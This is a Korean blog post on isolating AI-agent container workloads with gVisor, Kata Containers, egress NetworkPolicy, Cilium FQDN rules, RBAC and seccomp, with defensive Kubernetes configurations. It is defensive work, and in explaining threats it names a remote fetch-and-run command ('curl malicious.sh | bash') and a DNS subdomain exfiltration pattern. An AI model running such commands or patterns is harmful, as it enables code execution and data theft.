home

에이전트 시대에 꼭 필요한 컨테이너 샌드박싱 전략

Author
송명하, ML/DevOps Engineer
Category
Hands-on
Tags
DevOps
Published
2026/03/18
5 more properties
사람만 코드를 실행하던 시대가 끝났습니다. n8n이나 Dify 같은 AI 워크플로우 빌더에서 Code 노드가 임의 코드를 돌리고, AI 에이전트는 터미널에서 직접 명령어를 칩니다. AI가 생성한 코드, 사용자가 주입한 프롬프트가 컨테이너 내부에서 실행될 때, 우리는 어디까지 불안해해야 하고 무엇을 막아야 할까요?
컨테이너 격리 기술들(gVisor, Kata Containers 등)과 각종 보안 설정(SecurityContext, NetworkPolicy, RBAC)을 직접 테스트해 보면서, 과도하게 걱정하는 부분과 반드시 막아야 하는 진짜 위협을 분리해 보았습니다.

에이전트가 위협할 수 있는 보안 경고를 인지하는 3가지 신호

많은 보안 가이드나 취약점 스캐너가 컨테이너 내부의 모든 행위를 통제해야 한다고 경고합니다. 그중에는 실무 관점에서 득보다 실이 많거나, 위험도가 실제보다 부풀려진 항목이 있습니다. 하지만 동시에 "별것 아니다"라고 넘기면 큰일 나는 것들도 섞여 있습니다. 하나씩 살펴보겠습니다.

/etc/passwd 통해 바라보는 신호

컨테이너 내부에서 /etc/passwd를 읽을 수 있다는 경고를 보면 긴장부터 되기 마련입니다. 하지만 이건 호스트의 파일이 아닙니다. 컨테이너 자체의 /etc/passwd에는 비밀번호 해시도 없고(/etc/shadow에 분리), 컨테이너 내부 사용자 정보가 노출되더라도 클러스터나 호스트에 직접적인 영향은 거의 없습니다.
그렇다고 완전히 무시해도 될까요? OWASP는 /etc/passwd 읽기를 경로 탐색(Path Traversal) 공격의 표준 지표로 분류합니다. Trend Micro가 2025년에 발표한 분석에서는 MCP 서버 컨테이너에서 /etc/passwd 읽기를 시작점으로 삼은 정보 노출 시나리오를 시연하기도 했습니다. 단독 위험은 낮지만, 더 깊은 공격이 진행 중이라는 초기 신호로서의 가치가 있습니다. "이 파일을 읽었다"는 사실 자체보다, "왜 읽으려 했는지"를 추적하는 관점이 필요합니다.

내부망 포트 스캔과 SSRF

컨테이너 안에서 내부 IP를 스캔하는 행위 자체는 막기 어렵고, 포트가 스캔된다는 사실만으로 즉각적인 피해가 발생하지는 않습니다. 하지만 내부망 SSRF(Server-Side Request Forgery)를 "별것 아니다"로 분류하는 것은 업계 증거와 정면으로 충돌하는 판단입니다.
2019년 Capital One 침해 사건이 대표적입니다. 공격자는 SSRF를 이용해 AWS 메타데이터 서비스(169.254.169.254)에 접근하고, IAM 자격증명을 탈취해서 1억 건의 고객 데이터를 유출했습니다. CrowdStrike 데이터에 따르면 SSRF 공격은 2023~2024년 사이에 452% 급증했고, Azure OpenAI에서 발견된 SSRF 취약점(CVE-2025-53767)은 CVSS 10.0 만점을 기록했습니다.
클라우드 환경에서 컨테이너의 네트워크 접근 권한은 계정 전체 탈취로 이어질 수 있는 공격 벡터입니다. 포트 스캔 자체가 위험하다기보다, 스캔을 통해 발견한 내부 서비스에 SSRF로 접근하는 시나리오가 실제 대규모 침해의 직접 원인이 되어 왔습니다. 이건 이론적 가능성이 아닙니다.

컨테이너 안의 root는 호스트의 root가 아니니까 괜찮다?

"컨테이너 안의 root는 호스트의 root가 아니니까 괜찮다"는 주장을 종종 봅니다. 네임스페이스 격리가 있으니 컨테이너 내부의 root 권한이 호스트로 확장되지 않는다는 논리입니다. 이 주장은 user namespace remapping이 명시적으로 활성화된 경우에만 유효합니다. 대부분의 기본 Docker, Kubernetes 배포에서는 user namespace가 비활성 상태이고, 이 상태에서 컨테이너 root는 호스트 root UID 0에 그대로 매핑됩니다.
OWASP Docker Security Cheat Sheet는 "비특권 사용자 설정이 권한 상승 방지의 최선책"이라고 분명히 적고 있습니다. runc 메인테이너는 2025년 11월 CVE-2025-31133 권고에서 "user namespace 컨테이너 사용을 강력히 권고"했습니다. root로 실행 중인 컨테이너에서 탈출 취약점이 발생하면 호스트 root 권한을 바로 획득하게 됩니다. 컨테이너 탈출 CVE가 매년 꾸준히 발견되는 상황(2019: CVE-2019-5736, 2022: CVE-2022-0185, 2024: CVE-2024-21626 "Leaky Vessels", 2025: CVE-2025-31133)에서 이 위험을 과대평가로 분류하기는 어렵습니다.
Dockerfile에서 USER를 지정하거나 runAsNonRoot를 설정하는 것은 단순히 "공격자를 귀찮게 만드는" 수준이 아닙니다. 탈출 취약점과 결합했을 때의 피해 범위를 근본적으로 줄이는 방어입니다.

K8s RBAC은 꼭 설정하셔야 합니다

컨테이너에서 K8s API 서버를 호출해 시크릿을 탈취하는 건, 컨테이너 런타임 격리가 뚫린 것과는 별개의 문제입니다. RBAC 권한 설정이 잘못된 것이니까요. 여기까지는 맞는 진단입니다. 하지만 "RBAC은 런타임 격리 범위가 아니니 신경 안 써도 된다"고 읽히면 곤란합니다.
Aqua Security Nautilus 팀이 실제로 관찰한 "RBAC Buster" 캠페인에서는, 잘못 구성된 API 서버를 악용해 ClusterRoleBinding을 생성하고 DaemonSet으로 크립토마이너를 배포했습니다. 350개 이상의 조직이 노출되었고, 절반 이상이 실제로 침해당했습니다. Palo Alto Unit 42는 분석한 K8s 플랫폼의 절반에서 DaemonSet 자격증명이 관리자와 동등한 권한을 가지고 있었다고 보고했습니다.
automountServiceAccountToken: false를 설정하는 것은 기본 중의 기본이고, 그 위에 ServiceAccount 자체의 Role 권한을 최소화하는 작업이 반드시 따라와야 합니다.
apiVersion: v1 kind: Pod metadata: name: ai-workload spec: automountServiceAccountToken: false serviceAccountName: ai-minimal-sa containers: - name: worker image: ai-worker:latest
YAML
복사
ServiceAccount에는 해당 워크로드가 실제로 필요한 최소한의 권한만 부여합니다. "어차피 런타임 격리 영역이 아니니까"라는 이유로 RBAC 점검을 미루면, 런타임이 견고해도 클러스터 전체가 뚫리는 결과를 맞이합니다.
지금까지 "과대평가"로 분류하기엔 근거가 부족한 항목들을 짚어봤습니다. 반대로, 확실하게 위험한 두 가지는 업계 전체가 동의하는 부분입니다.
첫째, 네트워크를 통한 횡적 이동과 데이터 유출(Egress). 컨테이너 안에서 로컬 파일을 뒤지는 것은 대부분 무해하지만, 민감한 내부 서비스(DB, ArgoCD, 내부 API)에 접근하거나 외부로 데이터를 빼내는 행위는 치명적입니다. Sysdig 2025년 보고서에 따르면 조직의 약 90%가 이런 유형의 위협에 영향을 받고 있습니다.
둘째, 커널 익스플로잇을 통한 컨테이너 탈출(Container Escape). 일반적인 runc 컨테이너는 호스트의 커널을 공유합니다. 공격자가 AI 프롬프트를 통해 커널 취약점(CVE)을 찌르는 코드를 실행하면, 컨테이너를 뚫고 호스트 노드 자체를 장악할 수 있습니다. 컨테이너 탈출 CVE가 매년 발견되고 있다는 사실이 이 위협의 현재진행형임을 보여줍니다.
이 두 가지가 엔지니어링 리소스를 집중해야 할 핵심 영역입니다.

런타임별 커널 격리 수준을 공격자 관점에서 비교해보자

공격자가 컨테이너 안에서 호스트 커널의 정보를 얼마나 볼 수 있는지, 네 가지 런타임을 직접 테스트해 비교했습니다.
runc(일반 컨테이너)는 네임스페이스 격리만 제공합니다. 호스트 커널 버전이 그대로 노출되고, /proc/kallsyms에서 호스트 커널 심볼을 읽을 수 있으며, 마운트 정보에 호스트 경로가 드러납니다. 공격자가 커널 익스플로잇을 준비하기 위한 정보가 사실상 모두 열려 있는 셈입니다.
seccomp을 적용하면 시스템 콜을 필터링할 수 있지만, 정보 노출 측면에서는 runc와 크게 다르지 않습니다. 커널 버전, /proc/kallsyms, 마운트 정보가 동일하게 보입니다. seccomp는 "어떤 시스템 콜을 호출할 수 있느냐"를 제한하는 것이지, "호스트에 대한 정보를 얼마나 볼 수 있느냐"를 제한하는 도구가 아닙니다.
gVisor는 유저스페이스 커널(Sentry)이 모든 시스템 콜을 가로챕니다. 컨테이너 안에서 uname -r을 실행하면 가짜 커널 정보를 반환하고, /proc/kallsyms 파일 자체가 존재하지 않으며, 마운트 정보에도 호스트 경로가 나타나지 않습니다. 공격자가 호스트 커널을 특정하는 데 필요한 정보가 원천 차단됩니다.
Kata Containers는 전용 게스트 커널을 가진 경량 VM 안에서 컨테이너를 실행합니다. 커널 버전 질의에 게스트 커널 정보를 반환하고, /proc/kallsyms도 게스트 커널의 심볼만 보여줍니다. 마운트 정보는 virtiofs를 통해 호스트와 완전히 분리됩니다.
따라서 seccomp은 기본 방어선이지, 공격자에게 호스트 정보를 감추는 용도로는 부족합니다. AI 워크로드처럼 임의의 코드가 실행되는 환경에서는 독자적인 커널 공간을 제공하는 gVisor나 Kata Containers가 커널 방어의 핵심입니다.

gVisor는 에이전트 워크로드 격리의 사실상 표준이다

gVisor(runsc)는 현재 AI 워크로드 격리에서 산업 표준이라고 불러도 무방한 위치에 있습니다. Google 내부에서는 매일 수백만 개의 샌드박스 인스턴스가 실행되면서 Cloud Run, GKE Sandbox, App Engine, Cloud Functions를 구동합니다. Anthropic은 Claude의 웹 코드 실행 환경에 gVisor를 쓰고, gVisor 오픈소스에 정기적으로 기여합니다. OpenAI도 "고위험 작업"에 gVisor를 적용하고 있고, Ant Group은 10만 개 이상의 프로덕션 인스턴스에서 gVisor를 운용 중입니다.
gVisor의 보안은 세 가지 구성요소로 돌아갑니다.
Sentry는 Go로 작성된 유저스페이스 커널입니다. 컨테이너 안에서 발생하는 모든 시스템 콜을 가로채서, 호스트 커널에 전달하지 않고 자체적으로 처리합니다. 호스트 커널에는 네트워킹 없이 53개, 네트워킹을 포함하면 68개의 시스템 콜만 전달됩니다. 이 허용 목록은 seccomp-bpf 필터로 강제되고, 허용되지 않은 시스템 콜이 시도되면 샌드박스가 즉시 종료됩니다.
Gofer는 파일 I/O를 분리된 프로세스에서 중개하는 역할을 합니다. 컨테이너가 파일에 접근하려면 Gofer를 거쳐야 하므로, 파일시스템 관련 공격 표면이 추가로 분리됩니다.
이 구조 덕분에 호스트의 /proc/kallsyms, 실제 커널 버전, 마운트 정보가 노출되지 않습니다. CVE-2020-14386 같은 CAP_NET_RAW 기반 컨테이너 탈출 공격에도 gVisor 환경은 영향을 받지 않았습니다.

성능은 워크로드에 따라 천차만별입니다

CPU 집약적인 워크로드에서는 오버헤드가 거의 없습니다. 반면 단순 시스템 콜은 최소 2.2배 느리고, 파일 I/O가 가장 큰 영향을 받습니다. 여기까지만 보면 프로덕션 투입이 망설여질 수 있습니다.
하지만 Ant Group의 프로덕션 데이터가 중요한 참고점이 됩니다. 최적화 이후 애플리케이션의 70%에서 1% 미만, 25%에서 3% 미만의 오버헤드를 달성했습니다. 일부 워크로드는 오히려 runc보다 더 좋은 성능을 보이기도 했습니다. 대부분의 실제 애플리케이션에서 시스템 콜이 차지하는 비중은 전체 연산의 극히 일부이기 때문에, 마이크로벤치마크에서 보이는 수치와 실제 애플리케이션 성능 차이는 꽤 큽니다.
GPU 워크로드는 어떨까요? gVisor는 nvproxy를 통해 CUDA, PyTorch, Stable Diffusion 등을 지원합니다. 대부분의 GPU 통신이 공유 메모리를 통해 이뤄지므로, gVisor의 시스템 콜 가로채기가 GPU 연산 경로에는 거의 개입하지 않습니다. T4, L4, A100, H100 GPU에서 검증되었고, 오버헤드는 사실상 0에 가깝습니다.
amd64 기준으로 350개 시스템 콜 중 274개만 구현되어 있어서 76개는 미지원입니다. io_uring은 기본 비활성이고, 데이터베이스 같은 I/O 집약 워크로드에는 권장되지 않습니다. Redis처럼 네트워크 I/O가 집중되는 워크로드에서도 현저한 성능 저하가 나타납니다.
플랫폼 선택이 성능에 가장 큰 영향을 미칩니다. 베어메탈에서는 KVM, VM 환경에서는 systrap을 쓰는 것이 좋고, ptrace는 프로덕션에서 쓰지 않는 게 맞습니다.
Kubernetes에서의 설정은 RuntimeClass를 통해 간단합니다.
apiVersion: node.k8s.io/v1 kind: RuntimeClass metadata: name: gvisor handler: runsc
YAML
복사
Pod에서는 runtimeClassName만 지정하면 됩니다.
apiVersion: v1 kind: Pod metadata: name: ai-sandbox namespace: ai-workloads spec: runtimeClassName: gvisor containers: - name: sandbox image: ai-sandbox:latest resources: limits: memory: "9Gi" cpu: "4" requests: memory: "4Gi" cpu: "2" securityContext: readOnlyRootFilesystem: true volumeMounts: - name: workspace mountPath: /workspace volumes: - name: workspace emptyDir: sizeLimit: "10Gi"
YAML
복사
GKE를 쓰고 있다면 노드풀 생성 시 --sandbox type=gvisor 옵션을 주면 자동 구성됩니다. 별도의 런타임 설치나 커널 모듈 작업이 필요 없어서 진입 장벽이 낮습니다.

Kata Containers는 하드웨어 격리가 필요한 최고 보안 워크로드입니다

gVisor는 유저스페이스 커널로 시스템 콜을 가로채지만, 결국 호스트 커널 위에서 동작합니다. Kata Containers는 접근 방식이 근본적으로 다릅니다. 각 컨테이너(또는 Pod)를 전용 경량 VM 안에서 실행해서, 하드웨어 가상화 수준의 격리를 제공합니다. 컨테이너에 전용 게스트 커널이 주어지므로, 호스트 커널의 취약점이 컨테이너 내부의 공격으로 도달할 수 없습니다.
Baidu AI Cloud(43,000+ CPU 코어), IBM Cloud(월 수백만 빌드 컨테이너), Azure AKS(네이티브 지원), Northflank(월 200만+ 마이크로VM) 등이 프로덕션에서 운용하고 있습니다.

성능 특성

CPU 성능은 runc 대비 약 2% 이내로, 거의 네이티브 수준입니다. 시스템 콜 지연도 게스트 커널이 직접 처리하므로 네이티브와 비슷합니다. gVisor가 시스템 콜에서 최소 2.2배 오버헤드가 발생하는 것과 대조적입니다.
대신 다른 곳에서 비용을 치릅니다. 기동 시간이 150~300ms로 gVisor(수 ms)에 비해 느리고, VM당 약 20~30MB의 메모리 오버헤드가 추가됩니다. 컨테이너 밀도는 80GB 클러스터 기준으로 runc가 약 377개, Kata가 약 134개(500MB 워크로드 기준)로, 같은 하드웨어에서 훨씬 적은 수의 워크로드를 돌릴 수 있습니다.
요약하면, 실행 중 성능은 우수하지만 기동 속도와 밀도에서 손해를 봅니다. AI 에이전트처럼 세션당 컨테이너를 생성하고 폐기하는 패턴에서는 기동 시간이 사용자 경험에 직접 영향을 미치므로, 이 트레이드오프를 반드시 고려해야 합니다.

VMM 선택의 중요성

Kata Containers는 VMM(Virtual Machine Monitor)을 선택할 수 있고, 어떤 VMM을 쓰느냐에 따라 특성이 크게 달라집니다.
Firecracker는 Rust로 작성된 약 5만 줄 코드베이스입니다. QEMU의 약 200만 줄 C 코드와 비교하면 공격 표면이 극적으로 작습니다. 125ms 미만 부팅, 5MiB 미만 메모리 오버헤드, 초당 최대 150개 VM 생성이 가능합니다. 다만 GPU 패스스루가 불가능하고, virtiofs를 지원하지 않으며, 5개의 virtio 디바이스만 지원합니다. AWS Lambda와 Fargate가 Firecracker 위에서 돌아갑니다.
Cloud Hypervisor는 현재 Kata의 기본 VMM으로, 성능과 기능 사이의 균형이 가장 좋습니다.
QEMU는 GPU VFIO 패스스루 같은 고급 디바이스 지원이 필요할 때 선택합니다. AI 워크로드에서 GPU를 Kata 안으로 넘겨야 한다면 현재로서는 QEMU가 유일한 선택지입니다.

클라우드 환경에서의 중첩 가상화 문제

클라우드 VM 위에서 Kata를 돌리려면 중첩 가상화(nested virtualization)가 필요합니다. 이게 가장 큰 걸림돌입니다. AWS는 베어메탈 인스턴스(i3.metal 등)에서만 가능하고, Azure는 네이티브 중첩 가상화를 지원해서 AKS에서 Kata를 바로 쓸 수 있으며, GCP는 중첩 가상화를 활성화할 수 있습니다.
대안으로 Cloud API Adaptor(Peer Pods) 가 있습니다. 중첩 가상화 대신 클라우드 API로 별도 VM을 생성하는 방식인데, 기존 VM 인스턴스 위에 또 VM을 띄우는 게 아니라 클라우드 제공자에게 새 VM을 요청하는 겁니다.

GPU 지원 현황

QEMU VMM을 통한 VFIO 패스스루로 GPU를 Kata에 넘길 수 있고, NVIDIA GPU Operator가 Kata를 공식 지원합니다. Tesla T4, P100, A10, H100 PCIE가 검증되었습니다. 현재 단일 GPU 패스스루만 지원되고 NVLink 패브릭 시스템에서는 제약이 있지만, Kata 4.0에서 CDI(Container Device Interface) 기반 GPU 전체 수명주기 관리가 목표에 포함되어 있습니다.

Kubernetes 설정

apiVersion: node.k8s.io/v1 kind: RuntimeClass metadata: name: kata handler: kata overhead: podFixed: memory: "160Mi" cpu: "250m"
YAML
복사
overhead 선언이 중요합니다. Kata는 VM을 띄우면서 추가 리소스를 소비하므로, 스케줄러가 이를 감안해서 노드에 Pod를 배치할 수 있도록 overhead를 명시해야 합니다. 이걸 빠뜨리면 노드가 메모리 부족으로 OOM이 발생하는 상황이 생길 수 있습니다.
apiVersion: v1 kind: Pod metadata: name: ai-agent-secure namespace: ai-agents spec: runtimeClassName: kata automountServiceAccountToken: false containers: - name: agent image: ai-agent:latest resources: limits: memory: "16Gi" cpu: "8" securityContext: runAsNonRoot: true runAsUser: 1000 readOnlyRootFilesystem: true allowPrivilegeEscalation: false capabilities: drop: ["ALL"]
YAML
복사

NetworkPolicy는 데이터 유출 차단의 최초 방어선입니다

컨테이너 안에서 무슨 짓을 하든, 밖으로 나가는 길을 통제하면 치명적인 사고의 대부분을 막을 수 있습니다. 런타임 격리가 아무리 견고해도 네트워크가 열려 있으면, 탈취한 데이터를 외부로 전송하거나 내부 서비스에 횡적으로 접근하는 것은 런타임 경계와 무관하게 일어납니다. 그래서 NetworkPolicy 설정이 런타임 선택보다 중요합니다.

default-deny egress부터 시작해보자

1단계: 네임스페이스 전체의 egress를 차단합니다.
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: default-deny-egress namespace: ai-workloads spec: podSelector: {} policyTypes: - Egress
YAML
복사
podSelector: {}는 해당 네임스페이스의 모든 Pod에 적용된다는 뜻이고, Egress 타입만 지정하되 egress 규칙을 비워두면 모든 아웃바운드 트래픽이 차단됩니다.
2단계: DNS 트래픽만 kube-dns로 허용합니다.
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: allow-dns namespace: ai-workloads spec: podSelector: {} policyTypes: - Egress egress: - to: - namespaceSelector: matchLabels: kubernetes.io/metadata.name: kube-system podSelector: matchLabels: k8s-app: kube-dns ports: - protocol: UDP port: 53 - protocol: TCP port: 53
YAML
복사
여기서 주의할 점이 있습니다. DNS를 허용할 때 반드시 kube-dns Pod를 podSelector로 특정해야 합니다. 임의 IP의 53번 포트를 열어두면 DNS 터널링을 통한 데이터 유출이 가능해집니다. 다만, kube-dns로 범위를 한정해도 서브도메인 인코딩 방식의 DNS 유출(예: encoded-secret.attacker.com)은 완전히 막지 못한다는 점도 인지해야 합니다.
3단계: 필요한 외부 엔드포인트만 선별 개방합니다.
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: allow-specific-egress namespace: ai-workloads spec: podSelector: matchLabels: app: ai-agent policyTypes: - Egress egress: - to: - ipBlock: cidr: 0.0.0.0/0 except: - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 - 169.254.169.254/32 ports: - protocol: TCP port: 443
YAML
복사
사설 IP 대역과 AWS 메타데이터 서비스(169.254.169.254) 접근을 명시적으로 차단하고, HTTPS(443)만 허용하는 예시입니다. Capital One 침해를 떠올리면 메타데이터 서비스 차단이 왜 중요한지 이해할 수 있습니다.

Cilium이 에이전틱 워크로드에 가장 잘 맞는 이유는?

표준 Kubernetes NetworkPolicy에는 아쉬운 점이 많습니다. FQDN(도메인 이름) 기반 필터링을 지원하지 않고, 명시적 DENY 규칙을 작성할 수 없으며, L7(HTTP, gRPC) 수준의 필터링도 불가능합니다. 로깅도 없고, hostNetwork Pod에 대한 동작은 정의되지 않았습니다.
AI 워크로드는 api.openai.com이나 huggingface.co 같은 외부 API에 접근해야 하는 경우가 많습니다. 이런 도메인의 IP는 수시로 바뀌기 때문에, IP/CIDR 기반으로만 정책을 관리하면 금방 쫓아갈 수 없게 됩니다.
Cilium은 eBPF 기반 CNI로, 이 문제들을 해결합니다. CiliumNetworkPolicy에서 toFQDNs 필드로 도메인 기반 egress 제어가 가능하고, L7 정책(HTTP 헤더, gRPC 메서드, Kafka 토픽 수준)을 네이티브로 지원하며, Hubble로 L3~L7 플로우 로그와 실시간 서비스 맵을 확인할 수 있습니다.
apiVersion: "cilium.io/v2" kind: CiliumNetworkPolicy metadata: name: ai-agent-fqdn-policy namespace: ai-workloads spec: endpointSelector: matchLabels: app: ai-agent egress: - toFQDNs: - matchName: "api.openai.com" - matchName: "huggingface.co" - matchPattern: "*.googleapis.com" toPorts: - ports: - port: "443" protocol: TCP - toEndpoints: - matchLabels: "k8s:io.kubernetes.pod.namespace": kube-system "k8s:k8s-app": kube-dns toPorts: - ports: - port: "53" protocol: ANY rules: dns: - matchPattern: "*" - toFQDNs: - matchName: "pypi.org" - matchName: "files.pythonhosted.org" - matchName: "registry.npmjs.org" toPorts: - ports: - port: "443" protocol: TCP
YAML
복사
dns: matchPattern: "*"은 Cilium이 DNS 응답을 검사해서 FQDN 정책을 IP로 변환하기 위해 필요합니다. 이게 없으면 FQDN 필터링이 동작하지 않습니다.
Calico는 BGP 통합이 필요한 하이브리드/온프레미스 환경이나 계층화된 RBAC 기반 정책이 필요한 경우에 적합합니다. 다만 AI 워크로드의 동적 도메인 접근 패턴에는 Cilium의 FQDN 지원이 훨씬 편리합니다.

탑티어 기업들은 실제로 어떻게 하고 있나

Anthropic (Claude)

가장 상세하게 공개된 사례입니다. 웹에서 Claude가 코드를 실행할 때, gVisor 샌드박스 안에서 Ubuntu 22.04 컨테이너를 세션별로 생성합니다. 9GB 메모리, 4 CPU가 할당됩니다.
네트워크는 완전 차단이 아닙니다. JWT 인증 기반의 egress 프록시를 통해 github.com, pypi.org, npmjs.org 등 허용 도메인만 접근할 수 있습니다. 토큰은 4시간 후 만료되며, anthropic-egress-control이 발급을 담당합니다.
파일시스템은 /workspace/mnt/user-data/outputs만 쓰기 가능합니다. 흥미로운 점은 gVisor 내부에서 root로 실행한다는 것입니다. gVisor의 격리 경계가 Linux root 권한 제한을 사실상 대체하기 때문에, 컨테이너 내부에서 non-root로 실행하는 번거로움을 줄이는 선택입니다. gVisor 밖으로 나갈 수 없다면, 안에서 root이든 아니든 호스트에 대한 영향은 동일합니다.

OpenAI (Codex)

2단계 런타임 모델을 씁니다. 설정 단계에서는 네트워크 접근을 허용해서 의존성을 설치하고, 에이전트 단계에서는 네트워크를 차단하고 시크릿도 제거합니다. "필요한 것을 먼저 갖춘 뒤 문을 잠근다"는 접근입니다.
CLI/IDE 모드에서는 기본적으로 네트워크 없이 작업 디렉토리만 쓰기 허용하며, workspace-write(기본)과 danger-full-access 모드를 제공합니다. 이름에서 드러나듯이, 전체 접근 모드는 의도적으로 위험하다는 신호를 보내는 네이밍입니다.

Google (Gemini CLI)

계층화된 옵션을 제공하는 방식입니다. macOS Seatbelt, Docker/Podman, gVisor(runsc), LXC/LXD 중에서 선택할 수 있고, gVisor가 가장 강력한 격리로 분류됩니다. GEMINI_SANDBOX=runsc 환경 변수로 활성화하며, 네트워크 프록시 지원도 내장되어 있습니다.

공통 패턴

런타임은 gVisor 또는 마이크로VM(Firecracker)을 씁니다. 네트워크는 완전 차단이 아닌, 프록시 기반 도메인 화이트리스트 방식입니다. 파일시스템은 읽기 전용 루트에 지정된 쓰기 경로만 허용합니다. 컨테이너 수명은 세션 범위이고, 세션이 끝나면 폐기합니다. CPU, 메모리, PID, 디스크 I/O 제한도 모두 적용합니다.
NVIDIA AI Red Team의 2025년 가이던스도 이 패턴과 일치합니다. "호스트 커널을 공유하는 컨테이너는 AI 에이전트 격리에 불충분하다"고 분명히 밝히며, 전체 가상화(Firecracker, Kata) > gVisor > 강화 컨테이너 순의 계층을 권장했습니다. 가상화로 인한 오버헤드는 "LLM 호출에 의한 지연에 비하면 자주 미미하다"고 평가하기도 했습니다. 실제로 LLM API 호출 한 번에 수 초가 걸리는 상황에서, 몇십 ms의 샌드박스 오버헤드는 사용자 경험에 거의 영향을 주지 않습니다.

그래서 우리 워크로드에는 뭘 적용해야 할까요?

내부 마이크로서비스 (신뢰할 수 있는 코드)

runc에 PSS Restricted, seccomp RuntimeDefault, NetworkPolicy default-deny egress를 적용합니다. 이것만으로 대부분의 위협을 차단합니다. gVisor나 Kata를 도입할 필요 없이, 설정만 제대로 하면 됩니다.
apiVersion: v1 kind: Pod metadata: name: internal-service namespace: trusted-workloads spec: automountServiceAccountToken: false containers: - name: app image: internal-app:latest securityContext: runAsNonRoot: true runAsUser: 1000 allowPrivilegeEscalation: false readOnlyRootFilesystem: true capabilities: drop: ["ALL"] seccompProfile: type: RuntimeDefault
YAML
복사

오픈소스 기반이라 부분적으로만 신뢰할 수 있는 코드

gVisor RuntimeClass에 Cilium FQDN egress 정책과 readOnlyRootFilesystem을 결합합니다. GPU가 필요하면 nvproxy를 활성화합니다. I/O 집약 작업(DB 접근 등)은 gVisor 외부의 별도 서비스로 분리하는 것이 성능상 유리합니다.
apiVersion: v1 kind: Pod metadata: name: ai-workflow namespace: ai-workloads labels: app: ai-workflow spec: runtimeClassName: gvisor automountServiceAccountToken: false containers: - name: workflow-engine image: n8n-custom:latest securityContext: readOnlyRootFilesystem: true allowPrivilegeEscalation: false capabilities: drop: ["ALL"] volumeMounts: - name: workspace mountPath: /workspace - name: tmp mountPath: /tmp volumes: - name: workspace emptyDir: sizeLimit: "5Gi" - name: tmp emptyDir: sizeLimit: "1Gi"
YAML
복사

에이전트가 실행하려는 코드 (신뢰할 수 없는 코드)

가장 강력한 격리가 필요합니다. Kata/Firecracker(최고 보안)나 gVisor(성능 우선) 위에 JWT 인증 egress 프록시, 세션 범위 임시 컨테이너, 커스텀 seccomp 화이트리스트를 결합합니다.
Anthropic의 아키텍처를 참고하면, gVisor 안에서 세션별 컨테이너를 생성하고, 인증된 프록시를 통해서만 외부 통신을 허용하며, 세션 종료 시 컨테이너를 폐기하는 패턴이 현재 업계 표준에 가깝습니다.
GPU가 필요하다면 gVisor+nvproxy가 성능/보안 균형이 가장 좋고, VM급 격리가 필수인 환경에서는 Kata+QEMU(VFIO 패스스루)를 고려합니다.
런타임 교체 없이 지금 당장 할 수 있는 것 중 가장 효과가 큰 조치는 Cilium 기반 default-deny egress 기반의 FQDN 화이트리스트입니다. 이 단일 조치만으로 데이터 유출과 횡적 이동이라는 가장 큰 실질 위협의 대부분을 차단할 수 있습니다. 런타임 격리 변경은 노드 수준의 작업이 필요하지만, NetworkPolicy는 네임스페이스 단위로 즉시 적용 가능합니다.

seccomp 프로파일에서 io_uring은 반드시 차단하세요

최소한 RuntimeDefault seccomp 프로파일은 적용해야 합니다. AI 워크로드라면 화이트리스트 방식(defaultAction: SCMP_ACT_ERRNO)의 커스텀 프로파일이 이상적입니다.
특히 io_uring 관련 시스템 콜은 반드시 차단해야 합니다. Google은 ChromeOS, Android, 모든 프로덕션 서버에서 io_uring을 비활성화하고 있습니다. io_uring 취약점이 컨테이너 탈출에 직접 악용될 수 있기 때문입니다. gVisor가 io_uring을 기본 비활성으로 두는 것도 같은 이유입니다.
커스텀 seccomp 프로파일을 만드는 워크플로우는 이렇습니다. 먼저 감사 모드(SCMP_ACT_LOG)로 배포해서 실제로 어떤 시스템 콜이 호출되는지 수집하고, Inspektor Gadget 같은 도구로 필요한 syscall을 식별합니다. 그걸 바탕으로 화이트리스트를 작성하고, 테스트를 거쳐 적용합니다.
{ "defaultAction": "SCMP_ACT_ERRNO", "defaultErrnoRet": 1, "architectures": ["SCMP_ARCH_X86_64"], "syscalls": [ { "names": [ "read", "write", "close", "fstat", "mmap", "mprotect", "munmap", "brk", "rt_sigaction", "rt_sigprocmask", "ioctl", "access", "pipe", "select", "sched_yield", "mremap", "clone", "execve", "exit", "wait4", "kill", "fcntl", "openat", "getdents64", "getcwd", "chdir", "newfstatat", "lseek", "getpid", "getuid", "getgid", "geteuid", "getegid", "epoll_create1", "epoll_ctl", "epoll_wait", "futex", "set_tid_address", "clock_gettime", "exit_group" ], "action": "SCMP_ACT_ALLOW" } ] }
JSON
복사
io_uring_setup, io_uring_enter, io_uring_register는 이 목록에 포함시키지 않습니다.

readOnlyRootFilesystem는 유효하지만 단독으로는 부족합니다

CIS Docker Benchmark 5.12에서 필수로 규정하고, AWS Security Hub도 미설정 시 보안 위험으로 플래그하는 설정입니다. 공격자가 악성 바이너리를 디스크에 저장하고 영구화하는 것을 방지합니다.
그러나 마운트된 볼륨(emptyDir, PVC)은 여전히 쓰기 가능하고, 인메모리 코드 실행이나 인터프리터 기반 실행(curl malicious.sh | bash)은 차단하지 못합니다. 반드시 다른 방어와 결합해서 써야 합니다. readOnlyRootFilesystem: true를 켜면 애플리케이션이 /tmp나 로그 디렉토리에 쓰기를 시도하다가 실패하는 경우가 생기므로, emptyDir 볼륨을 필요한 경로에 마운트해주는 작업이 따라와야 합니다.
securityContext: readOnlyRootFilesystem: true volumeMounts: - name: tmp mountPath: /tmp - name: cache mountPath: /var/cache volumes: - name: tmp emptyDir: sizeLimit: "1Gi" - name: cache emptyDir: sizeLimit: "500Mi"
YAML
복사

마무리

컨테이너 보안 경고를 전부 같은 무게로 받아들일 필요는 없습니다. 컨테이너 안에서 로컬 파일을 읽거나 포트를 스캔하는 것은, 그 자체로 큰 사고를 만들지는 않습니다. 하지만 SSRF, root 실행, RBAC 미설정을 "별 것 아닌 것"으로 분류하면 실제 침해 사례의 교훈을 무시하는 셈이 됩니다.
따라서 네트워크 트래픽이 엉뚱한 곳으로 나가지 못하게 막고, 악성 코드가 호스트 커널을 공격하지 못하도록 샌드박싱하는 전략을 취해봅시다. 그 위에 RBAC 최소 권한, PSS Restricted, seccomp 프로파일, 이미지 보안, 런타임 모니터링을 해두면, 에이전트가 임의 코드를 실행하는 환경을 충분히 안전하게 운영할 수 있습니다.